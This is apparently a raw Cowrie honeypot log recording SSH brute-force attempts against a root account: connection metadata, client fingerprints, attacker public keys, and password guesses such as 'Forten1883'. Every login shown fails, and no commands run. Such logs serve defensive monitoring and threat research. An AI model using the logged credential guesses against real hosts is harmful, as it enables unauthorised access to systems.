{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:f6:e1:37:ce:f0:39:83:ca:3d:9a:4c:72:a2:1d:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDdPwPjlnzpOz4ttdflnf1YPqkMpu1Mm9/d24bGNhNQB9b5mt7GdjTleBWoNS0+i7erwlPsX2oLr5h8FthgrJzdKvr+o2yWx2yg/BMJOgFGV7WK3xgdvGeQKHqdNBxAz8Cf8xdlKY06yHi7DFPWs7yZ3BTphVRU3hiVMf1LeQwkLwog2dkjPVNRaxcUaCIohBMfP4XSAPw4DFLnbrCdCJApJjZB58S8YhTOXxLdHEgbyYa2QMAJB1CX8RnofDX0tKWIHDc1x55LgkTTzNQ8I3wjaI4wowsFMAJM6kFHxXNvYLm22o0tmTGwVDn0pHwEa/FpA72DQ3ka87ysS7Yhi0s7xDT9iMmhJEflgxN3HlW3F1qNg+6W8N3DQKkUXE2bDuThbbC1n6nUl+tJ/+B3JpEGXRy0jHjb+3Z0e+inaQPlujZynNOWr8nBS0m6gnig5Pl5iqVNO+oZAP8TPtkSMmphQUccLuoETYqfFVSwXeBVUvvcgnYco7FMQyH7aitWGsJKG+illPtGOq9RODu2aSWkoJ08JhV1CjaDEue96s+7aG+ssKpPdUYWdITgR5jM+CqzjY6cf2x5c320qoebbVPc/n+l2yBbMpU/yG0PkCjvYYkaN1q9wb88tMv842K33NnuU03oIZEDoWCSMmYICBvABCXU50DqQ0dRMqCgm/SkCw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:f6:e1:37:ce:f0:39:83:ca:3d:9a:4c:72:a2:1d:4e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:41.596337Z","src_ip":"172.110.219.251","session":"7fa737e65a7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:f6:e1:37:ce:f0:39:83:ca:3d:9a:4c:72:a2:1d:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDdPwPjlnzpOz4ttdflnf1YPqkMpu1Mm9/d24bGNhNQB9b5mt7GdjTleBWoNS0+i7erwlPsX2oLr5h8FthgrJzdKvr+o2yWx2yg/BMJOgFGV7WK3xgdvGeQKHqdNBxAz8Cf8xdlKY06yHi7DFPWs7yZ3BTphVRU3hiVMf1LeQwkLwog2dkjPVNRaxcUaCIohBMfP4XSAPw4DFLnbrCdCJApJjZB58S8YhTOXxLdHEgbyYa2QMAJB1CX8RnofDX0tKWIHDc1x55LgkTTzNQ8I3wjaI4wowsFMAJM6kFHxXNvYLm22o0tmTGwVDn0pHwEa/FpA72DQ3ka87ysS7Yhi0s7xDT9iMmhJEflgxN3HlW3F1qNg+6W8N3DQKkUXE2bDuThbbC1n6nUl+tJ/+B3JpEGXRy0jHjb+3Z0e+inaQPlujZynNOWr8nBS0m6gnig5Pl5iqVNO+oZAP8TPtkSMmphQUccLuoETYqfFVSwXeBVUvvcgnYco7FMQyH7aitWGsJKG+illPtGOq9RODu2aSWkoJ08JhV1CjaDEue96s+7aG+ssKpPdUYWdITgR5jM+CqzjY6cf2x5c320qoebbVPc/n+l2yBbMpU/yG0PkCjvYYkaN1q9wb88tMv842K33NnuU03oIZEDoWCSMmYICBvABCXU50DqQ0dRMqCgm/SkCw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:41.600421Z","src_ip":"172.110.219.251","session":"7fa737e65a7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:41.702919Z","src_ip":"172.110.219.251","session":"7fa737e65a7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.184.67","src_port":55176,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ec04aad6ff8","protocol":"ssh","message":"New connection: 186.233.184.67:55176 (10.17.0.5:22) [session: 0ec04aad6ff8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:50.814725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:50.819935Z","src_ip":"186.233.184.67","session":"0ec04aad6ff8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:50.860385Z","src_ip":"186.233.184.67","session":"0ec04aad6ff8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3e:ab:16:bb:de:bf:d1:56:2d:cd:63:8d:c2:fe:8f:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwu+qsWclyXdyAW6lnkQffL54JHoBXnWcqnOHS7kJsCXN/5i8hAv34InTNXlL3POmy3YlcST1PTiLLspoURBGmT0pp88mJTmD6NyLAIeebie+EbscIvb354+Jkc74HoSZS7KfGMSgta+e+G79dWO1reIVZIaIqpjxJ2uIQmOXYE16MIoVGPtS4dcuk5Syr/A7loDHr3xUt2b3zJ0FHvRGsPiTvLgSRDd758gaeSZnFQ0grsTUtSFN1G6SPSQYUBU/qnqkj7NwmNWbtQNA84rw3zq9mWLAXIFvHxmdTRsxDfJbqppB2AxM2n6ScRfs+Q5aGrxyahLyWweI0QJgZLmZr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3e:ab:16:bb:de:bf:d1:56:2d:cd:63:8d:c2:fe:8f:7b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:51.033370Z","src_ip":"186.233.184.67","session":"0ec04aad6ff8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3e:ab:16:bb:de:bf:d1:56:2d:cd:63:8d:c2:fe:8f:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwu+qsWclyXdyAW6lnkQffL54JHoBXnWcqnOHS7kJsCXN/5i8hAv34InTNXlL3POmy3YlcST1PTiLLspoURBGmT0pp88mJTmD6NyLAIeebie+EbscIvb354+Jkc74HoSZS7KfGMSgta+e+G79dWO1reIVZIaIqpjxJ2uIQmOXYE16MIoVGPtS4dcuk5Syr/A7loDHr3xUt2b3zJ0FHvRGsPiTvLgSRDd758gaeSZnFQ0grsTUtSFN1G6SPSQYUBU/qnqkj7NwmNWbtQNA84rw3zq9mWLAXIFvHxmdTRsxDfJbqppB2AxM2n6ScRfs+Q5aGrxyahLyWweI0QJgZLmZr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:51.037470Z","src_ip":"186.233.184.67","session":"0ec04aad6ff8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5b:ac:4a:d3:14:75:2b:13:0c:02:0c:63:51:2f:c4:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEsVE9e+ccYXV6tK6nmXLPfLq7at7MhR22eia/U5+D0iPyRABOBkiUsM5e9r1jkdq7ij++NcmyMN4lvSi0Hd4NCbX30zId3svGLkeeHwgVGXjG03cJBmf6r3kuEtEzIjMAesA3qma+mjxHcdVZ1dW8H8MBw+xnRcQul3TKIGhVHwb8ijRmOLumChLEt+eZMcjz1+yVaoaQ4/TC3sDNX3yD76vymyC2VEIIzIiPp7T4Tc1/dLPHdNMbPFCFEeQ9oCpW9NmOLgCvri5p9l9UztCxeOQONTy1O47bKVbgDtU5QV9wV1I8LmzPHAX5R5cPzWV/gDJEldfnE9QEtluaRpXt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5b:ac:4a:d3:14:75:2b:13:0c:02:0c:63:51:2f:c4:33","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:51.077955Z","src_ip":"186.233.184.67","session":"0ec04aad6ff8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5b:ac:4a:d3:14:75:2b:13:0c:02:0c:63:51:2f:c4:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEsVE9e+ccYXV6tK6nmXLPfLq7at7MhR22eia/U5+D0iPyRABOBkiUsM5e9r1jkdq7ij++NcmyMN4lvSi0Hd4NCbX30zId3svGLkeeHwgVGXjG03cJBmf6r3kuEtEzIjMAesA3qma+mjxHcdVZ1dW8H8MBw+xnRcQul3TKIGhVHwb8ijRmOLumChLEt+eZMcjz1+yVaoaQ4/TC3sDNX3yD76vymyC2VEIIzIiPp7T4Tc1/dLPHdNMbPFCFEeQ9oCpW9NmOLgCvri5p9l9UztCxeOQONTy1O47bKVbgDtU5QV9wV1I8LmzPHAX5R5cPzWV/gDJEldfnE9QEtluaRpXt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:51.081707Z","src_ip":"186.233.184.67","session":"0ec04aad6ff8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:e7:10:0c:18:d2:42:9e:ec:01:ad:ff:81:50:79:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAy/LWdNY9TITohptoRgru/oemOYIpQzCRgLzd04aaIDPuZmS0crc6QbnLTKMrjIP4gzAaHKjm2H4TJLq1tZneD0Yq58YRfnSdCcq1kapBvLj1A/D3v9HHTbvfwY6hf6FoFUDL+eIbc8jwfpmkYtZ91OiWCU0qMGHFO3JZeGA0QC+u5oWtFkK3ayK8gkw0BslNxqJ0WGpd0pQcTa9BgV1UXDH6Z563Ll3fqPYLvlLaikNhVUdgTTlRCJhVajwQ9vmTASUMkdWzieWT/+3VLav5tf9bhyRjlvDL2YjvKFZff1Fq99PHqyfDrvfjueAnCEFMLY3F06yXUKuiu+Nrygrh5Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b1:e7:10:0c:18:d2:42:9e:ec:01:ad:ff:81:50:79:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:51.121876Z","src_ip":"186.233.184.67","session":"0ec04aad6ff8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:e7:10:0c:18:d2:42:9e:ec:01:ad:ff:81:50:79:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAy/LWdNY9TITohptoRgru/oemOYIpQzCRgLzd04aaIDPuZmS0crc6QbnLTKMrjIP4gzAaHKjm2H4TJLq1tZneD0Yq58YRfnSdCcq1kapBvLj1A/D3v9HHTbvfwY6hf6FoFUDL+eIbc8jwfpmkYtZ91OiWCU0qMGHFO3JZeGA0QC+u5oWtFkK3ayK8gkw0BslNxqJ0WGpd0pQcTa9BgV1UXDH6Z563Ll3fqPYLvlLaikNhVUdgTTlRCJhVajwQ9vmTASUMkdWzieWT/+3VLav5tf9bhyRjlvDL2YjvKFZff1Fq99PHqyfDrvfjueAnCEFMLY3F06yXUKuiu+Nrygrh5Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:51.125951Z","src_ip":"186.233.184.67","session":"0ec04aad6ff8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:d1:77:b0:52:8d:fc:a6:9a:8d:9c:0e:db:1a:06:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC89MdaWMGOUXlC2F3sZ2uxqeQzPgJdBSkFp6tSEbPvR7n94u4PrpgtZLK+C+SB5C74J+NmpTdY9KmwCfu9DDn0g/RERTZOC+kyzd2MfBRMfBKC1KP//uWWuWLeS4/Gl6w4j6WmH2u+cCxLQW8f1Veo0oxZ8LHGnn8PwLHfxQIHqif+VL7zTeOWs7fSSSSm3g09NEsAjWThGiDZxPiAmsD6WxS106i8Wv71+R9ORrW7Qax7Ok0LpJjEJun2V8B/gzuDPKHdYAYvkbaBmBB6pyuM8AchM1rHqfKuP29+VI6aXb9cp98C1NOkjnVnXjiJgzvn0PDepOTTdvVe5rHlimO7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a1:d1:77:b0:52:8d:fc:a6:9a:8d:9c:0e:db:1a:06:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:51.166862Z","src_ip":"186.233.184.67","session":"0ec04aad6ff8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:d1:77:b0:52:8d:fc:a6:9a:8d:9c:0e:db:1a:06:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC89MdaWMGOUXlC2F3sZ2uxqeQzPgJdBSkFp6tSEbPvR7n94u4PrpgtZLK+C+SB5C74J+NmpTdY9KmwCfu9DDn0g/RERTZOC+kyzd2MfBRMfBKC1KP//uWWuWLeS4/Gl6w4j6WmH2u+cCxLQW8f1Veo0oxZ8LHGnn8PwLHfxQIHqif+VL7zTeOWs7fSSSSm3g09NEsAjWThGiDZxPiAmsD6WxS106i8Wv71+R9ORrW7Qax7Ok0LpJjEJun2V8B/gzuDPKHdYAYvkbaBmBB6pyuM8AchM1rHqfKuP29+VI6aXb9cp98C1NOkjnVnXjiJgzvn0PDepOTTdvVe5rHlimO7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:51.171137Z","src_ip":"186.233.184.67","session":"0ec04aad6ff8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"af:bf:f6:22:7d:60:0c:fc:08:ad:40:12:f5:14:d2:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCp1x+z8oq+gdBEL9A8EvqW8t15pZhldkZIdCTZUJ5uvYbtxHbF9STdKI6iFrBs9xa7r5qclNfWf9x/Qxci4dGgzGrqISV8AOdy4Fv7l6sfWwnYgahWizJjoq9Y1O9FnpfOTcnE3s1HHA8wBuKCTEXdKUsXr2KbgID8SFIDkws6oL0knt0Rgc5rWD6vZJLyX0VBiKhoxfbxqh6G4WBz/ROm0XneiK6pgK8K99OY9qS0R40n2nqI9U7XtnaNSPIbC2sP2AUc56eCjyzzqrHFS/nJDMZutxcH4Uj/e3Wc8ApkLwqPKJ3umLY3jR6dxB8u++yVBUWsNkrDd5qDwbkn9/AD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint af:bf:f6:22:7d:60:0c:fc:08:ad:40:12:f5:14:d2:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:51.213883Z","src_ip":"186.233.184.67","session":"0ec04aad6ff8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"af:bf:f6:22:7d:60:0c:fc:08:ad:40:12:f5:14:d2:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCp1x+z8oq+gdBEL9A8EvqW8t15pZhldkZIdCTZUJ5uvYbtxHbF9STdKI6iFrBs9xa7r5qclNfWf9x/Qxci4dGgzGrqISV8AOdy4Fv7l6sfWwnYgahWizJjoq9Y1O9FnpfOTcnE3s1HHA8wBuKCTEXdKUsXr2KbgID8SFIDkws6oL0knt0Rgc5rWD6vZJLyX0VBiKhoxfbxqh6G4WBz/ROm0XneiK6pgK8K99OY9qS0R40n2nqI9U7XtnaNSPIbC2sP2AUc56eCjyzzqrHFS/nJDMZutxcH4Uj/e3Wc8ApkLwqPKJ3umLY3jR6dxB8u++yVBUWsNkrDd5qDwbkn9/AD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:51.217307Z","src_ip":"186.233.184.67","session":"0ec04aad6ff8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:51.256733Z","src_ip":"186.233.184.67","session":"0ec04aad6ff8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.101.216.219","src_port":60000,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a3227be7e44","protocol":"ssh","message":"New connection: 103.101.216.219:60000 (159.203.135.109:22) [session: 4a3227be7e44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:53.231072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:53.235916Z","src_ip":"103.101.216.219","session":"4a3227be7e44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:53.474714Z","src_ip":"103.101.216.219","session":"4a3227be7e44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1001","message":"login attempt [root/1001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:54.459519Z","src_ip":"103.101.216.219","session":"4a3227be7e44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:55.701024Z","src_ip":"103.101.216.219","session":"4a3227be7e44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":49976,"dst_ip":"10.17.0.5","dst_port":22,"session":"04229a93389a","protocol":"ssh","message":"New connection: 103.82.20.28:49976 (10.17.0.5:22) [session: 04229a93389a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:02.077325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:02.083434Z","src_ip":"103.82.20.28","session":"04229a93389a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:02.341336Z","src_ip":"103.82.20.28","session":"04229a93389a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":34216,"dst_ip":"159.203.135.109","dst_port":22,"session":"adced0899961","protocol":"ssh","message":"New connection: 103.173.227.57:34216 (159.203.135.109:22) [session: adced0899961]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:02.623213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:02.633550Z","src_ip":"103.173.227.57","session":"adced0899961","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:02.871166Z","src_ip":"103.173.227.57","session":"adced0899961","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:03.118448Z","src_ip":"103.82.20.28","session":"04229a93389a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:03.585855Z","src_ip":"103.173.227.57","session":"adced0899961","protocol":"ssh"}
